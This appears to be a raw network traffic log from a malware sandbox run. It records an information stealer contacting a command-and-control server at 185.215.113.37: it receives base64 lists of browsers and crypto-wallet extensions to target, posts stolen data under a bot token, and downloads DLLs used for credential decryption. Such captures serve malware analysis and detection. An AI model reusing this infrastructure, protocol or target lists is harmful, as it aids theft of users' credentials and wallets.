R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 13, 2024 06:54:06.197118998 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 13, 2024 06:54:06.198700905 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="message"plugins------IJKJDAFHJDHIEBGCFIDB--
Oct 13, 2024 06:54:06.420108080 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 13, 2024 06:54:06.420288086 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Oct 13, 2024 06:54:06.420299053 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Oct 13, 2024 06:54:06.420309067 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 13, 2024 06:54:06.420319080 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 13, 2024 06:54:06.420327902 CEST	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 13, 2024 06:54:06.420356035 CEST	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Oct 13, 2024 06:54:06.422117949 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="message"fplugins------HDGCAAFBFBKFIDGDHJDB--
Oct 13, 2024 06:54:06.650660038 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 13, 2024 06:54:06.667654991 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH Host: 185.215.113.37 Content-Length: 5831 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 06:54:06.667655945 CEST	5831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 13, 2024 06:54:07.511759043 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:07.753794909 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:07.972495079 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 13, 2024 06:54:07.972528934 CEST	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 13, 2024 06:54:07.972563982 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 13, 2024 06:54:09.427295923 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDB Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 06:54:10.153793097 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:10.245767117 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 06:54:10.988111973 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:11.043288946 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="file"------GHDHDBAECGCAFHJJDAKF--
Oct 13, 2024 06:54:11.783097982 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:12.150110006 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file"------CAAKKFHCFIECAAAKEGCF--
Oct 13, 2024 06:54:12.867460966 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:13.180174112 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:13.399638891 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 13, 2024 06:54:14.270179033 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
